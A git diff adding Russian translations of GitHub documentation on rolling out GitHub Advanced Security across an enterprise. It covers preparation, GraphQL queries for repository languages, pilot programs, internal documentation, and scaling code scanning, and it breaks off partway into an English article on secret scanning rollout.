компании хотят предотвратить утечку конфиденциальных данных, таких как ключи программного обеспечения и финансовые данные. + +### Выполняйте развертывание совместно с группами по безопасности и разработке + +Компании, вовлекающие в процесс развертывания GHAS как группы безопасности, так и группы разработки, как правило, более успешны, чем компании, которые вовлекают только группы безопасности, ожидая включения команд разработчиков после завершения пилотного проекта. + +Подход к обеспечению безопасности программного обеспечения, который используется в GHAS, ориентирован на разработчиков и без труда интегрируется в их рабочие процессы. Включение группы разработки на ранних этапах процесса развертывания снижает риски и способствует созданию должного уровня заинтересованности в GHAS в масштабе компании. + +Участие групп разработки на раннем этапе, в идеале с момента покупки, помогает компаниям использовать GHAS для решения проблем безопасности еще в процессе разработки. Когда обе группы работают вместе, они достигают согласованности на ранних этапах процесса, устраняют недопонимание, строят и укрепляют свои рабочие отношения, а также несут большую ответственность за развертывание. + + +### Сведения о GHAS + +Чтобы сформировать реалистичные ожидания от развертывания, убедитесь, что все заинтересованные стороны понимают следующие ключевые факты о работе GHAS. + +#### 1. GHAS — это набор средств безопасности, которые требуют активных действий для защиты кода + +Ценность GHAS повышается, лишь когда эти средства настраиваются, обслуживаются и используются в ежедневных рабочих процессах наряду с другими инструментами. + +#### 2. GHAS требует корректировки после развертывания + +После настройки GHAS в репозиториях необходимо настроить его в соответствии с потребностями вашей компании. В частности, для проверки кода требуется дополнительная настройка, такая как оценка начальных результатов и внесение корректировок в будущие проверки. Многие клиенты обнаруживают, что первоначальные проверки возвращают ограниченные или нерелевантные результаты, пока проверка кода не будет скорректирована на основе модели угроз приложения. + +#### 3. Средства GHAS наиболее эффективны при совместном использовании и интеграции в программу безопасности приложений + +GHAS наиболее эффективен, когда все средства используются вместе. Эффективность программы безопасности приложений еще больше улучшается путем интеграции GHAS с другими инструментами и действиями, такими как тестирование на проникновение и динамическое сканирование. Мы рекомендуем всегда использовать несколько уровней защиты. + +#### 4. Некоторые компании используют пользовательские запросы {% data variables.product.prodname_codeql %} для настройки и нацеливания результатов сканирования + +Проверка кода выполняется на платформе {% data variables.product.prodname_codeql %} — самой мощной подсистеме анализа кода в мире. Для многих наших клиентов вполне достаточно базового набора запросов и дополнительных запросов, доступных в сообществе. Однако некоторым компаниям могут потребоваться пользовательские запросы {% data variables.product.prodname_codeql %} для нацеливания на различные результаты или снижения ложноположительных результатов. + +Если ваша компания заинтересована в пользовательских запросах {% data variables.product.prodname_codeql %}, мы рекомендуем сначала выполнить развертывание и реализацию GHAS. После этого, когда ваша компания будет готова, {% data variables.product.prodname_professional_services %} поможет изучить ваши требования и убедиться, что вам нужны пользовательские запросы. + +#### 5. {% data variables.product.prodname_codeql %} сканирует всю базу кода, а не только изменения, сделанные в запросе на вытягивание + +При выполнении сканирования кода из запроса на вытягивание сканирование будет включать полную базу кода, а не только изменения, сделанные в запросе на вытягивание. Сканирование всей базы кода — это важный шаг, направленный на то, чтобы убедиться, что изменение было проверено на всех взаимодействиях в базе кода. + +{% note %} + +Следующая статья этой серии: [Этап 2. Подготовка к включению в большом масштабе](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md new file mode 100644 index 000000000000..45733be82fd8 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale.md @@ -0,0 +1,156 @@ +--- +title: "Этап\_2. Подготовка к включению в большом масштабе" +intro: 'На этом этапе вы подготовите разработчиков и соберете данные о репозиториях, чтобы убедиться, что ваши команды готовы, и у вас есть все необходимое для пилотных программ и развертывания {% data variables.product.prodname_code_scanning %} и {% data variables.product.prodname_secret_scanning %}.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 2. Preparation +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 79368897c125ff23541520a253a34a2aae8c7c27 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110091' +--- +{% note %} + +Эта статья является частью серии "Внедрение {% data variables.product.prodname_GH_advanced_security %} в большом масштабе". Предыдущая статья этой серии: [Этап 1. Согласование стратегии и целей развертывания](/code-security/adopting-github-advanced-security-at-scale/phase-1-align-on-your-rollout-strategy-and-goals). + +{% endnote %} + +## Подготовка к включению {% data variables.product.prodname_code_scanning %} + +{% data reusables.code-scanning.about-code-scanning %} Дополнительные сведения см. в разделе [Сведения о проверке кода](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning). + +Развертывание {% data variables.product.prodname_code_scanning %} в сотнях репозиториев может оказаться трудной задачей, особенно если делать это неэффективно. Следуя этим шагам, вы обеспечите эффективность и успешность развертывания. В рамках подготовки вы будете работать с командами, использовать автоматизацию для сбора данных о репозиториях и включать {% data variables.product.prodname_code_scanning %}. + +### Подготовка команд к {% data variables.product.prodname_code_scanning %} + +Сначала подготовьте команды к использованию {% data variables.product.prodname_code_scanning %}. Чем больше команд используют {% data variables.product.prodname_code_scanning %}, тем больше данных у вас будет для реализации планов исправления и отслеживания хода развертывания. На этом этапе сосредоточьтесь на использовании API и проведении внутренних событий для включения. + +Основной фокус должен быть направлен на подготовку к использованию {% data variables.product.prodname_code_scanning %} как можно большего числа команд. Вы также можете предложить командам внести соответствующие исправления, но мы рекомендуем на этом этапе отдавать приоритет включению и использованию {% data variables.product.prodname_code_scanning %}, а не устранению проблем. + +### Сбор сведений о репозиториях + +Вы можете программно собирать сведения о различных языках программирования, используемых в репозиториях, и использовать эти данные для включения {% data variables.product.prodname_code_scanning %} во всех репозиториях, использующих один и тот же язык, с помощью API GraphQL в {% data variables.product.product_name %}. + +{% note %} + +**Примечание.** Чтобы собрать эти данные без ручного выполнения запросов GraphQL, описанных в этой статье, можно использовать наш общедоступный инструмент. Дополнительные сведения см. в репозитории инструмента [ghas-enablement](https://github.com/NickLiffen/ghas-enablement). + +{% endnote %} + +Если вы хотите собрать сведения из репозиториев, принадлежащих нескольким организациям в предприятии, можно использовать приведенный ниже запрос, чтобы получить имена организаций, а затем передать их в запрос репозиториев. Замените OCTO-ENTERPRISE на имя вашего предприятия. + +```graphql +query { + enterprise(slug: "OCTO-ENTERPRISE") { + organizations(first: 100) { + totalCount + nodes { + name + } + pageInfo { + endCursor + hasNextPage + } + } + } +} +``` + +Вы можете определить, какие языки используют репозитории, с помощью сортировки репозиториев по языкам на уровне организации. Вы можете изменить приведенный ниже пример запроса GraphQL, заменив OCTO-ORG именем организации. + +```graphql +query { + organization(login: "OCTO-ORG") { + repositories(first: 100) { + totalCount + nodes { + nameWithOwner + languages(first: 100) { + totalCount + nodes { + name + } + } + } + pageInfo { + endCursor + hasNextPage + } + } + } +} +``` + +Дополнительные сведения о выполнении запросов GraphQL см. в разделе [Формирование вызовов с помощью GraphQL](/graphql/guides/forming-calls-with-graphql). + +Затем преобразуйте данные из запроса GraphQL в доступный для чтения формат, например в таблицу. + +| Язык | Кол-во репозиториев | Имя репозиториев | +|-------------------------|-----------------|-----------------------------------------| +| JavaScript (TypeScript) | 4212 | org/repo
org/repo | +| Python | 2012 | org/repo
org/repo | +| Go | 983 | org/repo
org/repo | +| Java | 412 | org/repo
org/repo | +| Swift | 111 | org/repo
org/repo | +| Kotlin | 82 | org/repo
org/repo | +| C | 12 | org/repo
org/repo | + +В этой таблице вы можете отфильтровать языки, которые в настоящее время не поддерживаются {% data variables.product.prodname_GH_advanced_security %}. + +Если у вас есть репозитории с несколькими языками, можно отформатировать результаты GraphQL, как показано в таблице ниже. Отфильтруйте языки, которые не поддерживаются, но оставьте репозитории с по крайней мере одним поддерживаемым языком. Вы можете включить {% data variables.product.prodname_code_scanning %} в этих репозиториях, и все поддерживаемые языки будут проверяться. + +| Языки | Кол-во репозиториев | Имя репозиториев | +|------------------------|-----------------|------------------------------------------| +| JavaScript/Python/Go | 16 | org/repo
org/repo | +| Rust/TypeScript/Python | 12 | org/repo
org/repo | + +Понимание того, какие языки используют репозитории, помогут определить потенциальные репозитории для пилотных программ на этапе 3, и подготовит вас к включению {% data variables.product.prodname_code_scanning %} на этапе 5 во всех репозиториях, по одному языку за раз. + +{% ifversion ghes %} + +### Включение {% data variables.product.prodname_code_scanning %} для устройства + +Прежде чем внедрять пилотные программы и развертывать {% data variables.product.prodname_code_scanning %} на предприятии, необходимо сначала включить {% data variables.product.prodname_code_scanning %} для устройства. Дополнительные сведения см. в разделе [Настройка проверки кода для устройства](/admin/code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance). + +{% endif %} + +## Подготовка к включению {% data variables.product.prodname_secret_scanning %} + +Если проект взаимодействует с внешней службой, для проверки подлинности можно использовать токен или закрытый ключ. Если зафиксировать секрет в репозитории, то любой пользователь с правами на чтение в репозитории сможет использовать этот секрет для доступа к внешней службе с вашими привилегиями. {% data variables.product.prodname_secret_scanning_caps %} сканирует весь журнал Git во всех ветвях, присутствующих в репозиториях {% data variables.product.prodname_dotcom %} для секретов и оповещает вас{% ifversion secret-scanning-push-protection %} или блокирует отправку, содержащую секрет{% endif %}. Дополнительные сведения см. в статье [Сведения о сканировании секретов](/code-security/secret-scanning/about-secret-scanning). + +### Рекомендации о времени включения {% data variables.product.prodname_secret_scanning %} + +Возможность {% data variables.product.prodname_secret_scanning %} {% data variables.product.product_name %} немного отличается от {% data variables.product.prodname_code_scanning %}, так как для начала работы не требуется определенная конфигурация для каждого языка программирования или одного репозитория и в целом требуется меньше настроек. Это означает, что включение {% data variables.product.prodname_secret_scanning %} на уровне организации может быть простой задачей, однако простое нажатие кнопки **Включить все** на уровне организации и включение параметра **Автоматически включать {% data variables.product.prodname_secret_scanning %} для всех новых репозиториев** имеет некоторые последствия, о которых следует знать. + +- **Использование лицензий** + Включение {% data variables.product.prodname_secret_scanning %} для всех репозиториев будет использовать все ваши лицензии, даже если никто не использует проверку кода. Это нормально, если вы не планируете увеличивать число активных разработчиков в организации. Если число активных разработчиков, вероятно, увеличится в ближайшие месяцы, вы можете превысить ограничение лицензии, а затем не сможете использовать {% data variables.product.prodname_GH_advanced_security %} во вновь создаваемых репозиториях. +- **Начальный большой объем обнаруженных секретов** + Если вы включите {% data variables.product.prodname_secret_scanning %} в большой организации, будьте готовы увидеть большое количество найденных секретов. Иногда это вызывает у организации шок, и они поднимают тревогу. Если вы хотите включить {% data variables.product.prodname_secret_scanning %} во всех репозиториях одновременно, спланируйте, как будете реагировать в организации на большое количество оповещений. + +{% data variables.product.prodname_secret_scanning_caps %} можно включить для отдельных репозиториев. Дополнительные сведения см. в разделе [Настройка {% data variables.product.prodname_secret_scanning %} для репозиториев](/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories). {% data variables.product.prodname_secret_scanning_caps %} также можно включить для всех репозиториев в организации, как описано выше. Дополнительные сведения о включении для всех репозиториев см. в разделе [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization). + +### Пользовательские шаблоны для {% data variables.product.prodname_secret_scanning %} + +{% ifversion ghae %} {% note %} + +**Примечание.** Пользовательские шаблоны {% data variables.product.prodname_secret_scanning %} в настоящее время доступны в виде бета-версии и могут быть изменены. + +{% endnote %} {% endif %} + +{% data variables.product.prodname_secret_scanning_caps %} обнаруживает большое количество шаблонов по умолчанию, но также может быть настроено для обнаружения пользовательских шаблонов, таких как форматы секретов, уникальные для вашей инфраструктуры или используемые интеграторами, которые {% data variables.product.prodname_secret_scanning %} {% data variables.product.product_name %} в настоящее время не обнаруживает. Дополнительные сведения о поддерживаемых секретах для шаблонов партнеров см. в разделе [Шаблоны сканирования секретов](/code-security/secret-scanning/secret-scanning-patterns). + +При аудите репозиториев и обсуждении с командами по безопасности и разработке создайте список типов секретов, которые позже будут использоваться для настройки пользовательских шаблонов для {% data variables.product.prodname_secret_scanning %}. Дополнительные сведения см. в разделе [Определение пользовательских шаблонов для сканирования секретов](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning). + + +{% note %} + +Следующая статья этой серии: [Этап 3. Пилотные программы](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md new file mode 100644 index 000000000000..f496f1fe3753 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs.md @@ -0,0 +1,91 @@ +--- +title: "Этап\_3. Пилотные программы" +intro: 'Вы можете начать с нескольких важных проектов и команд, с которыми можно провести пилотное развертывание. Таким образом, начальная группа специалистов сможет ознакомиться с инструментами GHAS, узнать, как включать и настраивать их. Это позволит построить фундамент для развертывания GHAS в масштабе всей организации.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 3. Pilot programs +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d56427173580558a192d0709ae700cbd497e2935 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109111' +--- +{% note %} + +Эта статья является частью серии "Внедрение {% data variables.product.prodname_GH_advanced_security %} в большом масштабе". Предыдущая статья этой серии: [Этап 2. Подготовка к включению в большом масштабе](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale). + +{% endnote %} + +## О пилотных программах + +Мы рекомендуем определить несколько проектов или команд с высоким уровнем влияния для использования в пилотном запуске GHAS. Это позволит первой группе в вашей компании познакомиться с GHAS и создать надежный фундамент для GHAS перед развертыванием в оставшейся части компании. + +Действия этого этапа помогут вам включить GHAS на предприятии, приступить к использованию его функций и изучить результаты. Если вы работаете с {% data variables.product.prodname_professional_services %}, они могут оказать дополнительную помощь в рамках этого процесса посредством сессий адаптации, семинаров GHAS и устранения неполадок по мере необходимости. + +Перед запуском пилотных проектов мы рекомендуем запланировать ряд совещаний для ваших команд, например стартовое совещание, проверку в середине этапа и завершающее совещание по пилотному проекту. Такие совещания помогут вам внести необходимые изменения и убедиться, что ваши команды подготовлены и располагают достаточной поддержкой для успешного выполнения пилотного проекта. + +{% ifversion ghes %} + +Если вы еще не включили GHAS для вашего экземпляра {% data variables.product.prodname_ghe_server %}, см. информацию в разделе [Включение расширенной безопасности GitHub для вашего предприятия](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise). + +{% endif %} + +Необходимо включить GHAS для каждого пилотного проекта, включив функцию GHAS для каждого репозитория или для всех репозиториев во всех организациях, участвующих в проекте. Дополнительные сведения см. в разделах [Управление параметрами безопасности и анализа для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) или [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization). + +## Пилотный запуск {% data variables.product.prodname_code_scanning %} + +{% ifversion ghes %} + +Инструкции по включении {% data variables.product.prodname_code_scanning %} в экземпляре {% data variables.product.prodname_ghe_server %} см. в разделе [Настройка сканирования кода для устройства](/admin/advanced-security/configuring-code-scanning-for-your-appliance). + +{% elsif ghae %} + +Чтобы включить {% data variables.product.prodname_code_scanning %} с помощью {% data variables.product.prodname_actions %}, необходимо сделать средства выполнения доступными для выполнения рабочих процессов в {% data variables.product.prodname_ghe_managed %}. См. раздел [Начало работы с {% data variables.product.prodname_actions %} для {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae). + +{% endif %} + +Вы можете выполнять проверку кода в репозитории, создав рабочий процесс {% data variables.product.prodname_actions %} для запуска [действия CodeQL](https://github.com/github/codeql-action/). {% ifversion ghec %}{% data variables.product.prodname_code_scanning_capc %} использует [Размещенные в GitHub средства выполнения тестов](/actions/using-github-hosted-runners/about-github-hosted-runners) по умолчанию, но проверку можно настроить под ваши нужды, если вы планируете размещать собственное средство выполнения тестов с собственными спецификациями оборудования. Дополнительные сведения см. в разделе «[Локальные средства выполнения тестов](/actions/hosting-your-own-runners)». {% endif %} + +Дополнительные сведения о {% data variables.product.prodname_actions %} см. в следующем разделе: + - [Изучение GitHub Actions](/actions/learn-github-actions) + - [Принципы работы GitHub Actions](/actions/learn-github-actions/understanding-github-actions) + - [События, запускающие рабочие процессы](/actions/learn-github-actions/events-that-trigger-workflows) + - [Краткий справочник по шаблонам фильтров](/actions/learn-github-actions/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet) + +в рамках пилотной программы мы рекомендуем включать {% data variables.product.prodname_code_scanning %} для конкретных репозиториев. Дополнительные сведения см. в разделе [Настройка сканирования кода для репозитория](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository). + +Если вы хотите включить проверку кода для нескольких репозиториев, может потребоваться создать сценарий процесса. + +Пример сценария для создания запросов на вытягивание, которые добавляют рабочий процесс {% data variables.product.prodname_actions %} сразу в несколько репозиториев, см. пример с использованием PowerShell в репозитории [`jhutchings1/Create-ActionsPRs`](https://github.com/jhutchings1/Create-ActionsPRs) или [`nickliffen/ghas-enablement`](https://github.com/NickLiffen/ghas-enablement), если у команды нет PowerShell, и вместо него она хочет использовать NodeJS. + +При выполнении начальных проверок кода может оказаться, что результаты не найдены или возвращается необычное количество результатов. Может потребоваться настроить объекты для помечания флагами при будущих проверках. Дополнительные сведения см. в статье [Настройка сканирования кода для Управляемого экземпляра Базы данных SQL Azure](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning). + +Если ваша компания хочет использовать другие сторонние средства анализа кода для сканирования кода GitHub, можно использовать действия для запуска этих средств в GitHub. Кроме того, можно отправить в проверку кода результаты, созданные сторонними средствами в виде SARIF-файлов. Дополнительные сведения см. в разделе [Интеграция с процессами сканирования кода](/code-security/code-scanning/integrating-with-code-scanning). + +## Пилотный запуск {% data variables.product.prodname_secret_scanning %} + +GitHub сканирует репозитории на наличие известных типов секретов, чтобы предотвратить случайную фиксацию секретов. + +{% ifversion ghes %} + +Инструкции по включению сканирования секретов для экземпляра {% data variables.product.prodname_ghe_server %} см. в разделе [Настройка сканирования секретов для устройства](/admin/advanced-security/configuring-secret-scanning-for-your-appliance). + +{% endif %} + +Необходимо включить сканирование секрета для каждого пилотного проекта, включив эту функцию для каждого репозитория или для всех репозиториев в любых организациях, участвующих в проекте. Дополнительные сведения см. в разделах [Управление параметрами безопасности и анализа для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) и [Управление параметрами безопасности и анализа для организации](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization). + +Если вы добавили какие-либо пользовательские шаблоны, характерные для вашего предприятия, особенно связанные с пилотными проектами {% data variables.product.prodname_secret_scanning %}, вы можете настроить их. Дополнительные сведения см. в разделе [Определение пользовательских шаблонов для сканирования секретов](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning). + +Сведения о просмотре и устранении оповещений о секретах, возвращаемых в репозитории, см. в разделе [Управление оповещениями из службы сканирования секретов](/code-security/secret-scanning/managing-alerts-from-secret-scanning). + +{% note %} + +Следующая статья этой серии: [Этап 4. Создание внутренней документации](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md new file mode 100644 index 000000000000..7b2aee7db815 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation.md @@ -0,0 +1,37 @@ +--- +title: "Этап\_4. Создание внутренней документации" +intro: 'Вы создаете внутреннюю документацию, а затем знакомите с ней потребителей {% data variables.product.prodname_GH_advanced_security %}.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 4. Create internal documentation +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: caf35f06c3f836ea7532b7c5e9dfb419ba8c325b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109106' +--- +{% note %} + +Эта статья является частью серии "Внедрение {% data variables.product.prodname_GH_advanced_security %} в большом масштабе". Предыдущая статья этой серии: [Этап 3. Пилотные программы](/code-security/adopting-github-advanced-security-at-scale/phase-3-pilot-programs). + +{% endnote %} + +Перед включением {% data variables.product.prodname_GH_advanced_security %} необходимо создать внутреннюю документацию, которая будет определять процессы для команд. Все должны знать, что делать, когда они получают оповещение системы безопасности, даже если процесс просто просит команду принять максимально верное решение. Документация также предотвратит блокировку работы разработчиков при наличии вопросов. Необходимо поместить документацию по GHAS в существующую документацию, ориентированную на разработчиков, например на портал разработчиков или в собственную базу знаний. + +Если вы запустили пилотные программы, используйте опыт и отзывы от команд, участвующих в них, чтобы скорректировать документацию. Это особенно полезно, если вы столкнулись с проблемами, специфичными для вашей компании, так как другие команды, скорее всего, тоже с ними столкнутся. + +Если вы пропустите этап создания внутренней документации, развертывание не будет выполняться в нужном темпе. Создание внутренней документации может замедлить первоначальное развертывание на одну-две недели, но это время будет восполнено, когда разработчики смогут сами отвечать на свои вопросы, а не обращаться к вашей команде. + +Обучение, вероятно, является наиболее важной частью развертывания, как оно учит разработчиков, что делать в различных ситуациях. Вы должны убедиться, что разработчики способны поддерживать безопасность своего репозитория, а группа безопасности уполномочена проверять как то, что делают разработчики, так и то, что это отвечает интересам безопасности. В дополнение к внутренней документации обучение может принимать форму онлайн-сессий, вопросов и ответов и т. д. + +{% note %} + +Следующая статья этой серии: [Этап 5. Развертывание и масштабирование проверки кода](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md new file mode 100644 index 000000000000..5331c0d648bd --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning.md @@ -0,0 +1,61 @@ +--- +title: Этап 5. Развертывание и масштабирование проверки кода +intro: 'Можно использовать доступные API-интерфейсы для программного развертывания {% data variables.product.prodname_code_scanning %} отдельно по командам и по языкам в организации с помощью собранных ранее данных репозитория.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 5. Rollout code scanning +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: abbcdf4c1e4a231a568e8d8cd488877ebdf2fd9f +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109105' +--- +{% note %} + +Эта статья является частью серии "Внедрение {% data variables.product.prodname_GH_advanced_security %} в большом масштабе". Предыдущая статья этой серии: [Этап 4. Создание внутренней документации](/code-security/adopting-github-advanced-security-at-scale/phase-4-create-internal-documentation). + +{% endnote %} + +### Включение проверки кода + +Используя данные, сопоставленные на [этапе 2](/code-security/adopting-github-advanced-security-at-scale/phase-2-preparing-to-enable-at-scale), можно приступить к включению GHAS, а затем и {% data variables.product.prodname_code_scanning %} в репозиториях — по одному языку за раз. Пошаговый процесс включения GHAS должен выглядеть следующим образом. + +1. Включите GHAS в репозитории. Дополнительные сведения см. в статье [Управление параметрами безопасности и анализа для репозитория](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). +1. Создайте запрос на вытягивание в ветви репозитория по умолчанию с файлом `codeql-analysis.yml`, содержащим пример запуска CodeQL для этого языка. Дополнительные сведения см. в разделе [Создание запроса на вытягивание](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request). +1. Создайте проблему в репозитории, чтобы объяснить, почему был вызван запрос на вытягивание. Созданная проблема может содержать ссылку на предыдущее сообщение, отправленное всем пользователям, но также может объяснить, какие изменения внесены в запрос на вытягивание, какие дальнейшие действия необходимо предпринять команде, каковы обязанности команды и как команда должна использовать {% data variables.product.prodname_code_scanning %}. Дополнительные сведения см. в статье "[Создание проблемы](/issues/tracking-your-work-with-issues/creating-an-issue)". + +Существует общедоступный инструмент, который выполняет первые два шага — [ghas-enablement](https://github.com/NickLiffen/ghas-enablement). Вы можете повторно запускать инструмент ghas-enablement для разных языков там, где это имеет смысл. Например, JavaScript, TypeScript, Python и Go, скорее всего, имеют аналогичный процесс сборки и могут использовать один файл анализа CodeQL. Инструмент ghas-enablement можно также использовать для таких языков, как Java, C и C++, но из-за различных особенностей сборки и компиляции этих языков может потребоваться создать более узкоспециализированные файлы анализа CodeQL. + +{% note %} + +**Примечание.** Если вы планируете использовать {% data variables.product.prodname_actions %} для управления {% data variables.product.prodname_code_scanning %} и не используете инструмент [ghas-enablement](https://github.com/NickLiffen/ghas-enablement), имейте в виду, что доступ к каталогу `.github/workflow` через API отсутствует. Это означает, что не получится создать сценарий без клиента git, лежащего в основе автоматизации. Обходной путь — использовать сценарии bash на компьютере или в контейнере с клиентом git. Клиент git может отправлять и извлекать файлы в каталог `.github/workflows`, в котором находится файл `codeql-analysis.yml`. + +{% endnote %} + +Важно не просто отправить файл `codeql-analysis.yml` в ветвь репозитория по умолчанию. Используя запрос на вытягивание, команда разработчиков может просматривать и объединять права владения, позволяя команде разработчиков узнать о {% data variables.product.prodname_code_scanning %} и участвовать в этом процессе. + +Необходимо записать URL-адреса запроса на вытягивание, созданные службой автоматизации, и проверять каждую неделю на наличие каких-либо действий и смотреть, какие из них закрыты. Через несколько недель может потребоваться создать другую проблему или отправить внутренние сообщения электронной почты, если запрос на вытягивание остается не объединенным. + +### Создание профильных специалистов + +Затем можно перейти к следующему этапу включения, на котором создаются внутренние профильные специалисты и организуются встречи в компании. Открытие запросов и проблем с запросами на вытягивание в репозиториях, скорее всего, покроет большую часть внедрения, но это не позволит решить разовые варианты использования, когда для конкретного процесса сборки, платформы или библиотеки необходимо включить определенные флаги функций. Для обеспечения высокого уровня внедрения необходим более персонализированный и практический подход, особенно для языков Java, C и C++. + +Рекомендуется проводить регулярные собрания в компании по конкретным темам, чтобы просвещать и обсуждать развертывание с более широкой группой. Это гораздо эффективнее для предприятия с тысячами репозиториев по сравнению с работой с одной командой за раз. Команды могут приходить на сессии, которые имеют отношение к ним. Некоторые примеры сеансов, которые были запущены ранее, включают следующие. + +- {% data variables.product.prodname_code_scanning_capc %} в контейнере. +- {% data variables.product.prodname_code_scanning_capc %} и Java Struts. +- {% data variables.product.prodname_code_scanning_capc %} и JSP. + +Вы можете использовать собранные данные о распределении различных языков между репозиториями для создания целевых собраний. + +{% note %} + +Следующая статья этой серии: [Этап 6. Развертывание и масштабирование сканирования секретов](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning). + +{% endnote %} diff --git a/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md new file mode 100644 index 000000000000..7cf84a8886a8 --- /dev/null +++ b/translations/ru-RU/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md @@ -0,0 +1,106 @@ +--- +title: 'Phase 6: Rollout and scale secret scanning' +intro: 'For the final phase, you will focus on the rollout of {% data variables.product.prodname_secret_scanning %}. {% data variables.product.prodname_secret_scanning_caps %} is a more straightforward tool to rollout than {% data variables.product.prodname_code_scanning %}, as it involves less configuration, but it''s critical to have a strategy for handling new and old results.' +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Advanced Security +shortTitle: 6. Rollout secret scanning +miniTocMaxHeadingLevel: 3 +--- + +{% note %} + +This article is part of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. For the previous article in this series, see "[Phase 5: Rollout and scale code scanning](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning)." + +{% endnote %} + +You can enable secret scanning for individual repositories or for all repositories in an organization. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." + +This article explains a high-level process focusing on enabling {% data variables.product.prodname_secret_scanning %} for all repositories in an organization. The principles described in this article can still be applied even if you take a more staggered approach of enabling {% data variables.product.prodname_secret_scanning %} for individual repositories. + +### 1. Focus on newly committed secrets + +When you enable {% data variables.product.prodname_secret_scanning %}, you should focus on remediating any newly committed credentials detected by secret scanning. If you focus on cleaning up committed credentials, developers could continue to accidentally push new credentials, which means your total secret count will stay around the same level, not decrease as intended. This is why it is essential to stop new credentials being leaked before focusing on revoking any current secrets. + +There are a few approaches for tackling newly committed credentials, but one example approach would be: + +1. **Notify**: Use webhooks to ensure that any new secret alerts are seen by the right teams as quickly 